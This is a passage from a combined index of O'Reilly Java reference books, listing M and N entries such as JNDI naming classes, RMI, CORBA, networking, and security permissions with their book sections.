14. The java.awt.event Package, Java Foundation Classes
MouseMotionListener interface: 2.6.6 Event Reference, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
mouseMoved( ) (MouseMotionListener): 2.6.6 Event Reference, Java Foundation Classes
mousePressed( ) (MouseListener): 2.6.6 Event Reference, Java Foundation Classes
mouseReleased( ) (MouseListener): 2.6.6 Event Reference, Java Foundation Classes
move( ) (Point): 9. The java.awt Package, Java Foundation Classes
moveAccepted( ): 6.4. Fixed Protocols, Java Distributed Computing
moveDot( ) (Caret): 30. The javax.swing.text Package, Java Foundation Classes
MoveMessage class (example): 6.4. Fixed Protocols, Java Distributed Computing
6.4.1. Heterogeneous Argument Lists, Java Distributed Computing
adaptable version of: 6.5.4. An Adaptable Message Handler, Java Distributed Computing
with object arguments: 6.4.2. Objects as Message Arguments, Java Distributed Computing
moveTo( ) (GeneralPath): 4.4 Shapes, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
moveToBack( ) (JLayeredPane): 23. The javax.swing Package, Java Foundation Classes
moveToCurrentRow( ) (ResultSet): 2.13.1. Results Handling, Java Enterprise in a Nutshell
moveToFront( ) (JLayeredPane): 23. The javax.swing Package, Java Foundation Classes
moveToInsertRow( ) (ResultSet): 2.13.1. Results Handling, Java Enterprise in a Nutshell
MS-DOS window: 1.3.1. Compiling and Running the Program, Java in a Nutshell
MsgWhiteboardUser class (example): A.1. Whiteboard Applet, Java Distributed Computing
MTS (Microsoft Transaction Server) (see Microsoft)
multi-database applications: 7.3. Multi-Database Applications, Java Distributed Computing
multi-entity find methods: 6.1.3.1 The find methods, Enterprise JavaBeans
in bean-managed persistence: 6.2.1 Making the ShipBean a Bean-Managed Entity, Enterprise JavaBeans
multi-way agent authentication: 5.7.1.3. One-, two-, and many-way cryptography, Java Distributed Computing
multicast objects (remote object communication): 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
multicast sockets: 2.1.3. Multicast Sockets, Java Distributed Computing
permissions for: 5.2.2. Permissions of the Java API, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
D.8. Miscellaneous Packages, Java Security
multicasting: 2.1.3. Multicast Sockets, Java Distributed Computing
MulticastSocket class: 2.1.3. Multicast Sockets, Java Distributed Computing
16. The java.net Package, Java in a Nutshell
16. The java.net Package, Java in a Nutshell
multidimensional arrays: 2.9.4. Multidimensional Arrays, Java in a Nutshell
multiline comments (/* */): 1.3.2.1. Comments, Java in a Nutshell
2.2. Comments, Java in a Nutshell
multilingual input: 12.7. Receiving Multilingual Input, Java Servlet Programming
multimedia, streaming (example): 8.5.1. Streaming Multimedia, Java Distributed Computing
multipage documents, printing: 5.2.2 Printing Multipage Documents, Java Foundation Classes
MultipartRequest class: 4.4.9.3. Receiving files using the input stream, Java Servlet Programming
MultiPixelPackedSampleModel class: 18. The java.awt.image Package, Java Foundation Classes
multiple-DES: 13.5.2. Cipher Algorithms, Java Security
multiple document interface (MDI): 2.4 Containers and Containment, Java Foundation Classes
multiple interfaces: 3.7.5. Implementing Multiple Interfaces, Java in a Nutshell
MultipleMaster interface: 15. The java.awt.font Package, Java Foundation Classes
multiplexing look-and-feel: 3.22.2 Auxiliary Look-and-Feels, Java Foundation Classes
multiplication (*) operator: 2.5.2. Arithmetic Operators, Java in a Nutshell
multithreaded access, problems with: 3.2.1.1 Reentrance, Enterprise JavaBeans
multithreading: 1.1. Anatomy of a Distributed Application, Java Distributed Computing
1.3.2. Power, Java Servlet Programming
MutableAttributeSet interface: 30. The javax.swing.text Package, Java Foundation Classes
MutableComboBoxModel interface: 23. The javax.swing Package, Java Foundation Classes
MutableTreeNode interface: 34. The javax.swing.tree Package, Java Foundation Classes
mutators (see set and get methods)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

NAME attribute: 2.6.5. JavaServer Pages and JavaBeans, Java Servlet Programming
<APPLET> tag (HTML): 7.2.1 The <APPLET> Tag, Java Foundation Classes
<PARAM> tag (HTML): 7.2.1 The <APPLET> Tag, Java Foundation Classes
Name class: 24. The java.util.jar Package, Java in a Nutshell
Name interface: 22. The javax.naming Package, Java Enterprise in a Nutshell
name, registered: 2.3.2. Running Hello World, Java Servlet Programming
2.4.1. Writing a Server-Side Include, Java Servlet Programming
3.1.5. A Holistic Counter, Java Servlet Programming
4.1.2. Getting Init Parameter Names, Java Servlet Programming
name servers, JNDI and: 1.3.4. JNDI: Accessing Naming and Directory Services, Java Enterprise in a Nutshell
NameAlreadyBoundException class: 22. The javax.naming Package, Java Enterprise in a Nutshell
NameClassPair class: 6.6. Listing the Children of a Context, Java Enterprise in a Nutshell
22. The javax.naming Package, Java Enterprise in a Nutshell
NameComponent arrays (CORBA NamingContext): 11.1. Naming Service, Java Enterprise in a Nutshell
NameComponent class: B.1. Naming Service, Java Distributed Computing
4.3.3. Adding Objects to a Naming Context, Java Enterprise in a Nutshell
4.4.2.1. Using a naming context, Java Enterprise in a Nutshell
35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NameComponentHelper class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NameComponentHolder class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NamedStyle class: 30. The javax.swing.text Package, Java Foundation Classes
NamedValue class: 4.5.1. Dynamic Invocation Interface, Java Enterprise in a Nutshell
30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
NameHelper class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NameHolder class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NameNotFoundException class: 6.2. A JNDI Example, Java Enterprise in a Nutshell
22. The javax.naming Package, Java Enterprise in a Nutshell
NameParser interface: 22. The javax.naming Package, Java Enterprise in a Nutshell
names
atomic, compound vs.: 6.9.2. The DirContext Interface, Java Enterprise in a Nutshell
attributes (attribute ID): 23. The javax.naming.directory Package, Java Enterprise in a Nutshell
composite: 22. The javax.naming Package, Java Enterprise in a Nutshell
compound: 6.6.1. How Names Work, Java Enterprise in a Nutshell
22. The javax.naming Package, Java Enterprise in a Nutshell
cryptographic algorithms and engines: 8.1.1. Components of the Architecture, Java Security
DNs (distinguished names): 11.1.1. Principals, Java Security
ejb-name element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
10.5 Describing Beans, Enterprise JavaBeans
10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
in method element: 10.6.3 Identifying Specific Methods, Enterprise JavaBeans
fully-qualified: 3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
how they work: 6.6.1. How Names Work, Java Enterprise in a Nutshell
invalid syntax: 22. The javax.naming Package, Java Enterprise in a Nutshell
keystore entry aliases: 11.2. The KeyStore Class, Java Security
method-name element: 10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
of permissions: 5.2.1. The Permission Class, Java Security
5.2.1. The Permission Class, Java Security
(see also specific permission type)
res-ref-name element: 10.5.5 References to External Resources, Enterprise JavaBeans
socket permissions: 5.2.2. Permissions of the Java API, Java Security
namespaces: 2.11. Packages and the Java Namespace, Java in a Nutshell
class loaders and: 3.1.2. Class Loaders and Namespaces, Java Security
NameValuePair class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
naming and directory services (networked), JNDI and: 1.3.4. JNDI: Accessing Naming and Directory Services, Java Enterprise in a Nutshell
naming scopes (IDL): 10.6. Naming Scopes, Java Enterprise in a Nutshell
interfaces (inherited): 10.10.3.2. Constant, type, and exception inheritance, Java Enterprise in a Nutshell
Naming class: 13. The java.rmi Package, Java Enterprise in a Nutshell
naming context
JNDI: 7.8.1. Finding Home Interfaces Through JNDI, Java Enterprise in a Nutshell
object reference, obtaining: 4.4.2.1. Using a naming context, Java Enterprise in a Nutshell
naming conventions: 7.1. Naming and Capitalization Conventions, Java in a Nutshell
bound objects (sessions): 5.8. Session Tracking, Java Enterprise in a Nutshell
for enterprise beans: 2.1.1 Classes and Interfaces, Enterprise JavaBeans
set and get methods: 6.1.1.1 Set and get methods, Enterprise JavaBeans
SQL objects (within schemas): 8.1. Relational Databases, Java Enterprise in a Nutshell
tables and schemas (SQL): 8.1. Relational Databases, Java Enterprise in a Nutshell
naming directory
structure: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
Naming interface: 3.6.3. The RMI Registry, Java Distributed Computing
3.1.1. RMI in Action, Java Enterprise in a Nutshell
3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
quick reference for: D.1. The java.rmi Package, Java Distributed Computing
remote objects, looking up (example): 3.1.1. RMI in Action, Java Enterprise in a Nutshell
naming registry: 13. The java.rmi Package, Java Enterprise in a Nutshell
Naming Service (CORBA): 4.1.3. The Naming Service, Java Enterprise in a Nutshell
4.3.2. Registering with a Naming Service, Java Enterprise in a Nutshell
4.4.1. Initial ORB References, Java Enterprise in a Nutshell
4.4.2.2. Using multiple naming services, Java Enterprise in a Nutshell
11.1. Naming Service, Java Enterprise in a Nutshell
11.1. Naming Service, Java Enterprise in a Nutshell
11.5. Life Cycle Service, Java Enterprise in a Nutshell
35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
references, narrowing: 4.4.2.1. Using a naming context, Java Enterprise in a Nutshell
Naming Service (IDL): 12. Java IDL Tools, Java Enterprise in a Nutshell
naming services: 3.2.5 Naming, Enterprise JavaBeans
5.1 Locating Beans with JNDI, Enterprise JavaBeans
3.2.3. Other Issues, Java Distributed Computing
3.3.3. Registration/Naming Service, Java Distributed Computing
context: 6.3. Introducing the Context, Java Enterprise in a Nutshell
CORBA: 3.5.3. Server Implementations, Java Distributed Computing
3.5.5.5. Pulling it all together, Java Distributed Computing
B.1. Naming Service, Java Distributed Computing
directory services vs.: 6. JNDI, Java Enterprise in a Nutshell
java.rmi.Naming vs. CORBA: B.1.1. Comparison to the RMI Registry, Java Distributed Computing
JNDI drivers for: 5.1 Locating Beans with JNDI, Enterprise JavaBeans
JNDI SPI and: 6.1. JNDI Architecture, Java Enterprise in a Nutshell
JNDI supporting (Java programs): 6. JNDI, Java Enterprise in a Nutshell
references to other naming services: 4.4.2.2. Using multiple naming services, Java Enterprise in a Nutshell
RMI Registry: 3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
3.6.3. The RMI Registry, Java Distributed Computing
using multiple: 4.4.2.2. Using multiple naming services, Java Enterprise in a Nutshell
naming systems
browsing: 6.6.2. Browsing a Naming System, Java Enterprise in a Nutshell
enterprise Java suppliers, JNDI accessing: 6. JNDI, Java Enterprise in a Nutshell
initial context: 6.3.1. Using the InitialContext Class, Java Enterprise in a Nutshell
naming operations (JNDI-accessible systems): 6.5. The NamingShell Application, Java Enterprise in a Nutshell
objects, looking up: 6.2. A JNDI Example, Java Enterprise in a Nutshell
6.4. Looking Up Objects in a Context, Java Enterprise in a Nutshell
service providers (other): 6.3.2. Other Naming Systems, Java Enterprise in a Nutshell
NamingContext interface: B.1. Naming Service, Java Distributed Computing
4.1.3. The Naming Service, Java Enterprise in a Nutshell
11.1. Naming Service, Java Enterprise in a Nutshell
35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NamingContextHelper class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NamingContextHolder class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
_NamingContextImplBase class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
_NamingContextStub class: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
NamingEnumeration interface: 6.6. Listing the Children of a Context, Java Enterprise in a Nutshell
22. The javax.naming Package, Java Enterprise in a Nutshell
NamingException class: 6.2. A JNDI Example, Java Enterprise in a Nutshell
22. The javax.naming Package, Java Enterprise in a Nutshell
NamingManager class: 6.1. JNDI Architecture, Java Enterprise in a Nutshell
24. The javax.naming.spi Package, Java Enterprise in a Nutshell
NamingSecurityException class: 22. The javax.naming Package, Java Enterprise in a Nutshell
NamingShell class
directory server, using: 6.9.3. The Attributes Interface, Java Enterprise in a Nutshell
implementation example: 6.6.2. Browsing a Naming System, Java Enterprise in a Nutshell
JNDI commands, loading and executing: 6.5. The NamingShell Application, Java Enterprise in a Nutshell
running: 6.5.3. Running the Shell, Java Enterprise in a Nutshell
narrow( )
NamingContextHelper class: 4.1.3. The Naming Service, Java Enterprise in a Nutshell
PortableRemoteObject interface: 3.8. RMI over IIOP, Java Enterprise in a Nutshell
3.8. RMI over IIOP, Java Enterprise in a Nutshell
7.9.5. Assorted Other Changes, Java Enterprise in a Nutshell
5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
narrowing conversions: 2.4.6. Type Conversions, Java in a Nutshell
National Television Systems Committee (NTSC): 6.1.3.1. Converting an image to grayscale, Java Servlet Programming
native-API, partly-Java drivers: 9.2.1. JDBC Drivers, Java Servlet Programming
native code: 13.5. Using Native Methods, Java Servlet Programming
native function libraries: 3.7. RMI and Native Method Calls, Java Enterprise in a Nutshell
Native Interface API: 3.7. RMI and Native Method Calls, Java Enterprise in a Nutshell
native Java persistence (entity beans, database mapping): 9.7.1.5 Native Java persistence, Enterprise JavaBeans
9.7.2.3 Native Java persistence, Enterprise JavaBeans
native members: 38.2.3.1. Member availability and flags, Java Enterprise in a Nutshell
native methods
conventions/rules for: 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
tool for: 8. Java Development Tools, Java in a Nutshell
Native-protocol All-Java Drivers: 2.3. JDBC Drivers, Java Enterprise in a Nutshell
native2ascii program: 8. Java Development Tools, Java in a Nutshell
nCopies( ) (Collections): 23. The java.util Package, Java in a Nutshell
needsGui( ): 9. The java.beans Package, Java in a Nutshell
NegativeArraySizeException: 12. The java.lang Package, Java in a Nutshell
nesting elements (XML deployment descriptor): 10.4 The Descriptor's Body, Enterprise JavaBeans
net-protocol all-Java drivers: 9.2.1. JDBC Drivers, Java Servlet Programming
NetPermission class: 16. The java.net Package, Java in a Nutshell
5.2.2. Permissions of the Java API, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
D.8. Miscellaneous Packages, Java Security
Netscape
cookie specification: 7.4. Persistent Cookies, Java Servlet Programming
Enterprise Server
supports SSJS: 1.1.2.3. Server-side JavaScript, Java Servlet Programming
WAICoolRunner support: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
FastTrack Server: 1.1.2.3. Server-side JavaScript, Java Servlet Programming
1.2.2. Add-on Servlet Engines, Java Servlet Programming
home page in various languages: 12. Internationalization, Java Servlet Programming
introduced server-side applets: 0. Preface, Java Servlet Programming
introduced SSL: 8.3. Secure Sockets Layer (SSL), Java Servlet Programming
Navigator
bug with request's content type: 10.2.2.2. Back to the applet, Java Servlet Programming
cascading style sheets: 5.4.2.3. Weather forecast using HTML generation creatively, Java Servlet Programming
charsets option: 12.3.1. Charsets, Java Servlet Programming
digital signatures and: 7.3.2 Signed Applets, Java Foundation Classes
file uploading: 4.4.9.3. Receiving files using the input stream, Java Servlet Programming
internationalization: 12.3.2. Writing Encoded Output, Java Servlet Programming
introduced cookies: 7.4. Persistent Cookies, Java Servlet Programming
Java Plug-in: 7.2.3 Using Applets with the Java Plug-in, Java Foundation Classes
language option: 12.5.1. Language Preferences, Java Servlet Programming
RMI support: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
User-Agent header: 4.4.8. Request Headers, Java Servlet Programming
UTF-8: 12.4.1. UCS-2 and UTF-8, Java Servlet Programming
server-side applets: 0. Preface, Java Servlet Programming
server-side JavaScript (SSJS): 1.1.2.3. Server-side JavaScript, Java Servlet Programming
server-side scripting: 1.1.2.3. Server-side JavaScript, Java Servlet Programming
WAI interface: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
Netscape Directory Server (NDS): 6.9.1. X.500 Directories, Java Enterprise in a Nutshell
Netscape Internet Foundation Classes: 1. The Java Foundation Classes, Java Foundation Classes
network-access methods, security manager: 4.3.3. Methods Relating to Network Access, Java Security
network-centric programming: 1.2.3. Network-centric Programming, Java in a Nutshell
network communication layer, distributed object architectures and: 1.3 Distributed Object Architectures, Enterprise JavaBeans
network communications
ClassLoader class: 2.3. The ClassLoader, Java Distributed Computing
object serialization versus: 3.6.6. Serializing Objects, Java Distributed Computing
collaboration and: 9.2.1. Communication Needs, Java Distributed Computing
eavesdropping on: 5.1. Security Issues and Concerns, Java Distributed Computing
5.6. Data Encryption, Java Distributed Computing
HTTP protocol support: 2.2. URLs, URLConnections, and ContentHandlers, Java Distributed Computing
Java support for: 1.3.5. Network Support, Java Distributed Computing
multicasting: 2.1.3. Multicast Sockets, Java Distributed Computing
object communication protocol: 3.3.4. Object Communication Protocol, Java Distributed Computing
protocol requirements: 1.2.2. Flexible, Extendible Communication Protocols, Java Distributed Computing
remote transaction security: 1.3.6.2. Secure remote transactions, Java Distributed Computing
sockets and streams: 2.1. Sockets and Streams, Java Distributed Computing
threads and: 4.4. Networked Threads, Java Distributed Computing
network connections: 4.2.10 Creating a Client Application, Enterprise JavaBeans
reducing with session beans: 2.2.2 Modeling Workflow with Session Beans, Enterprise JavaBeans
network messaging (see messaging)
network protocols
CORBA, defining: 4.1.4. Inter-ORB Communication, Java Enterprise in a Nutshell
TCP/IP: 1.2. Enterprise Computing Demystified, Java Enterprise in a Nutshell
network services
Java Enterprise APIs, supporting: 1.3. The Java Enterprise APIs, Java Enterprise in a Nutshell
Novell NDS and: 6.9.1. X.500 Directories, Java Enterprise in a Nutshell
network traffic
latency: 9.3.1 Network Traffic and Latency, Enterprise JavaBeans
minimizing: 9.3.1 Network Traffic and Latency, Enterprise JavaBeans
reducing with session beans: 2.2.2 Modeling Workflow with Session Beans, Enterprise JavaBeans
networking: 4.11. Networking, Java in a Nutshell
implementing access: 6.3.2. Implementing Network Access, Java Security
java.net package: 16. The java.net Package, Java in a Nutshell
network-level security: 7.1.3. Java's Role in Authentication, Java Security
package for: 4.1. Java Platform Overview, Java in a Nutshell
permissions in class loader: 6.3.3. Network Permissions in the Class Loader, Java Security
security policy for: 6.3.7.4. Implementing network, thread, and package access, Java Security
services and applets: 4.3.3. Methods Relating to Network Access, Java Security
socket permissions: 5.2.2. Permissions of the Java API, Java Security
5.2.2. Permissions of the Java API, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
D.8. Miscellaneous Packages, Java Security
D.8. Miscellaneous Packages, Java Security
networks
applications, creating with RMI: 1.3.2. RMI: Remote Method Invocation, Java Enterprise in a Nutshell
heterogeneous devices: 1.2. Enterprise Computing Demystified, Java Enterprise in a Nutshell
schematic (hypothetical enterprise): 1.4. Enterprise Computing Scenarios, Java Enterprise in a Nutshell
Never transaction attribute: 8.2.3 Transaction Attributes Defined, Enterprise JavaBeans
New Atlanta's ServletExec, web site for information: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
new features in EJB Version 1.1: D. New Features in EJB 1.1, Enterprise JavaBeans
New Hacker's Dictionary book: 10.2.4.1. The servlet, Java Servlet Programming
new operator for object creation: 2.5.11. Special Operators, Java in a Nutshell
newCall( ) (RemoteRef): D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
new_Context( ) (NamingContext): 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
newCopy( ): 6.5.4. An Adaptable Message Handler, Java Distributed Computing
newInstance( ): 12. The java.lang Package, Java in a Nutshell
ActivationGroup class: 3.6.4. Activation Groups, Java Enterprise in a Nutshell
14. The java.rmi.activation Package, Java Enterprise in a Nutshell
ActivationInstantiator interface: 14. The java.rmi.activation Package, Java Enterprise in a Nutshell
Array class: 14. The java.lang.reflect Package, Java in a Nutshell
Class class: 3.3. Loading Classes, Java Security
3.2.1. Creating Remote Objects, Java Distributed Computing
6.1.2 The Primary Key, Enterprise JavaBeans
6.3.2 The Pooled State, Enterprise JavaBeans
Constructor class: 14. The java.lang.reflect Package, Java in a Nutshell
URLClassLoader class: 16. The java.net Package, Java in a Nutshell
newLine( ) (BufferedWriter): 11. The java.io Package, Java in a Nutshell
newMember( ): 9.3.1. Building the Infrastructure with Message Passing, Java Distributed Computing
newPermissionCollection( ) (Permission): 5.2.3. Using the Permission Class, Java Security
5.2.5. Permission Collections, Java Security
17. The java.security Package, Java in a Nutshell
newProxyInstance( ) (Proxy): 14. The java.lang.reflect Package, Java in a Nutshell
next( ) (ResultSet interface): 18. The java.sql Package, Java Enterprise in a Nutshell
9.2.3. Executing SQL Queries, Java Servlet Programming
2.6. Results, Java Enterprise in a Nutshell
nextBoolean( ) (Random): 23. The java.util Package, Java in a Nutshell
nextBytes( )
Random class: 23. The java.util Package, Java in a Nutshell
SecureRandom class: 17. The java.security Package, Java in a Nutshell
nextDouble( ): 23. The java.util Package, Java in a Nutshell
nextElement( )
Enumeration class: 23. The java.util Package, Java in a Nutshell
StringTokenizer class: 23. The java.util Package, Java in a Nutshell
nextFloat( ): 23. The java.util Package, Java in a Nutshell
nextFocusableComponent: 3.8.1 Focus Management, Java Foundation Classes
nextGaussian( ): 23. The java.util Package, Java in a Nutshell
nextIndex( ) (ListIterator): 23. The java.util Package, Java in a Nutshell
nextInt( ): 23. The java.util Package, Java in a Nutshell
nextLayout( ) (LineBreakMeasurer): 15. The java.awt.font Package, Java Foundation Classes
nextLong( ): 23. The java.util Package, Java in a Nutshell
nextMove( ): 6.4. Fixed Protocols, Java Distributed Computing
next_n( ) (BindingIterator): 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
next_one( ) (BindingIterator): 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
nextToken( ): 11. The java.io Package, Java in a Nutshell
StringTokenizer class: 23. The java.util Package, Java in a Nutshell
Nexus Web Server, web site for information: 1.2.3. Embeddable Servlet Engines, Java Servlet Programming
nit( ), Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
nitSign( ), Signature class: 12.3. Implementing a Signature Class, Java Security
nitVerify( ), Signature class: 12.3. Implementing a Signature Class, Java Security
no-argument constructor, requirement for container-managed persistence: 6.1.2 The Primary Key, Enterprise JavaBeans
no state: 3.1.1.1 The entity bean life cycle, Enterprise JavaBeans
NoClassDefFoundError: 12. The java.lang Package, Java in a Nutshell
NodeDimensions class: 34. The javax.swing.tree Package, Java Foundation Classes
NO_IMPLEMENT class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
NoInitialContextException class: 22. The javax.naming Package, Java Enterprise in a Nutshell
NO_MEMORY class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
non-HTML content (servlets): 5.9. Databases and Non-HTML Content, Java Enterprise in a Nutshell
non-HTTP applet: 10.2.4.3. The applet, Java Servlet Programming
non-HTTP protocol: 10.2.4.1. The servlet, Java Servlet Programming
non-HTTP server: 10.2.4.1. The servlet, Java Servlet Programming
10.2.4.2. The superclass, Java Servlet Programming
non-object oriented languages (CORBA specifications and): 4.1. The CORBA Architecture, Java Enterprise in a Nutshell
non-repudiation facilities (CORBA): B.3.1. Service Types, Java Distributed Computing
nonclass data structure definitions (C++ and IDL): 4.2.1. An IDL Primer, Java Enterprise in a Nutshell
NoninvertibleTransformException class: 16. The java.awt.geom Package, Java Foundation Classes
nonreentrance policy, applying to entity and session beans: 3.2.1.1 Reentrance, Enterprise JavaBeans
nonremote objects, remote objects vs.: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
nonrepeatable reads (transactions): 8.3.1.2 Repeatable reads, Enterprise JavaBeans
7.3.2. Transaction Isolation Levels, Java Enterprise in a Nutshell
NoPadding scheme: 13.5. Encrypting Data, Java Security
NO_PERMISSION class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
NoPermissionException class: 6.2. A JNDI Example, Java Enterprise in a Nutshell
22. The javax.naming Package, Java Enterprise in a Nutshell
-noprompt option (keytool): A.1.2. Adding a Certificate Entry, Java Security
NO_RESOURCES class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
NO_RESPONSE class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
NoRouteToHostException: 16. The java.net Package, Java in a Nutshell
NoSuchAlgorithmException: 17. The java.security Package, Java in a Nutshell
NoSuchAttributeException class: 23. The javax.naming.directory Package, Java Enterprise in a Nutshell
NoSuchElementException: 23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
NoSuchEntityException: A.1.14 NoSuchEntityException NoSuchEntityException (1.1), Enterprise JavaBeans
NoSuchFieldError: 12. The java.lang Package, Java in a Nutshell
NoSuchFieldException: 12. The java.lang Package, Java in a Nutshell
NoSuchMethodError: 12. The java.lang Package, Java in a Nutshell
NoSuchMethodException: 12. The java.lang Package, Java in a Nutshell
NoSuchObjectException class: D.1. The java.rmi Package, Java Distributed Computing
13. The java.rmi Package, Java Enterprise in a Nutshell
NoSuchPaddingException: 26. The javax.crypto Package, Java in a Nutshell
NoSuchProviderException: 17. The java.security Package, Java in a Nutshell
not equals (!=) operator: 2.5.5. Comparison Operators, Java in a Nutshell
Not Supported transaction attribute: 8.2.3 Transaction Attributes Defined, Enterprise JavaBeans
8.4 Non-Transactional Beans, Enterprise JavaBeans
NotActiveException: 11. The java.io Package, Java in a Nutshell
NotBoundException class: D.1. The java.rmi Package, Java Distributed Computing
13. The java.rmi Package, Java Enterprise in a Nutshell
NotContextException class: 22. The javax.naming Package, Java Enterprise in a Nutshell
NotEmpty class: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
NotEmptyHelper class: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
NotEmptyHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
Notepad: 1.3.1. Compiling and Running the Program, Java in a Nutshell
NotFound class: 4.3.3. Adding Objects to a Naming Context, Java Enterprise in a Nutshell
4.4.2.1. Using a naming context, Java Enterprise in a Nutshell
36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
NotFoundHelper class: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
NotFoundHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
NotFoundReason class: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
NotFoundReasonHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
notifications
CORBA Event Service: 11.3. Event Service, Java Enterprise in a Nutshell
informing beans of events: 2.1.1.3 The bean class, Enterprise JavaBeans
notify( ) (Object): 12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
4.8. Threads, Java in a Nutshell
notify( )
Collaborator interface: 9.3.1. Building the Infrastructure with Message Passing, Java Distributed Computing
JavaSpace interface: C.4.4. notify( ), Java Distributed Computing
notifyAll( ) (Object): 12. The java.lang Package, Java in a Nutshell
NotOwnerException: 18. The java.security.acl Package, Java in a Nutshell
NotSerializableException: 11. The java.io Package, Java in a Nutshell
NotSupportedException class: 28. The javax.transaction Package, Java Enterprise in a Nutshell
ion Package, Java Enterprise in a Nutshell
Novell Directory Service (NDS): 6. JNDI, Java Enterprise in a Nutshell
NdsObject interface (JNDI SPI): 6.1. JNDI Architecture, Java Enterprise in a Nutshell
NetWare Directory Services: 6.9.1. X.500 Directories, Java Enterprise in a Nutshell
service provider (JNDI): 6.4. Looking Up Objects in a Context, Java Enterprise in a Nutshell
NRCredentials interface: B.3.2. Security Model, Java Distributed Computing
NSAPI (WAI), a Netscape API: 1.1.2.1. Server Extension APIs, Java Servlet Programming
NTSC: 6.1.3.1. Converting an image to grayscale, Java Servlet Programming
null database values: 9.2.6. Handling Null Fields, Java Servlet Programming
null reference: 2.10.3. The null Reference, Java in a Nutshell
null security managers: 6.3.7.2. A complete 1.1 security manager, Java Security
null values
database columns: 2.6.1. Handling Nulls, Java Enterprise in a Nutshell
inserting with PreparedStatement: 2.8. Prepared Statements, Java Enterprise in a Nutshell
rows, inserting: 2.13.1. Results Handling, Java Enterprise in a Nutshell
NullCipher class: 26. The javax.crypto Package, Java in a Nutshell
13.5.1. Using the Cipher Class, Java Security
D.5. Package javax.crypto, Java Security
NullPointerException: 12. The java.lang Package, Java in a Nutshell
nullsAreSortedHigh( ) (DatabaseMetaData): 2.9.1. DatabaseMetaData, Java Enterprise in a Nutshell
NullSecurityManager class: 6.3.7.2. A complete 1.1 security manager, Java Security
NumberFormat class: 22. The java.text Package, Java in a Nutshell
numbers: 4.3. Numbers and Math, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
comparing (Comparator class): 23. The java.util Package, Java in a Nutshell
DateFormat class: 22. The java.text Package, Java in a Nutshell
DecimalFormat class: 22. The java.text Package, Java in a Nutshell
Enumeration class: 23. The java.util Package, Java in a Nutshell
Number class: 12. The java.lang Package, Java in a Nutshell
NumberFormat class: 22. The java.text Package, Java in a Nutshell
NumberFormatException: 12. The java.lang Package, Java in a Nutshell
SimpleDateFormat class: 22. The java.text Package, Java in a Nutshell
numeric literals (IDL): 10.5.3. Numeric Literals, Java Enterprise in a Nutshell
mapping to Java: 10.5.3.4. Mapping numeric literals to Java, Java Enterprise in a Nutshell
numeric values: 4.3. Numbers and Math, Java in a Nutshell
